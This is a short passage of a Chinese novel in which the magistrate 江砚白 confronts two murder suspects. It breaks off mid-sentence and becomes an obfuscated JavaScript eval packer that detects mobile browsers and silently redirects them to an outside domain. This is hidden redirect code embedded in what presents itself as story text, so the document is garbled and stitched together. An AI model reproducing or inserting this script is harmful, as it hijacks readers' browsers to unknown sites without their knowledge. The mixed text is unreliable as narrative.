“兴许你们不认识他，他长了满脸的大胡子，因为捡到了你们遗落的东西，你们去讨要他不肯归还，于是就将他杀了，对吗？” 两人眼中震惊之色愈显，怯懦地偷偷看向案台上的江砚白，他……他是怎么知道的？ “还不交代！”江砚白惊堂木一拍，两人身体随之一颤。 说起了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981895|177965||http|test|mini|href|location''.split(''|''),0,{})); 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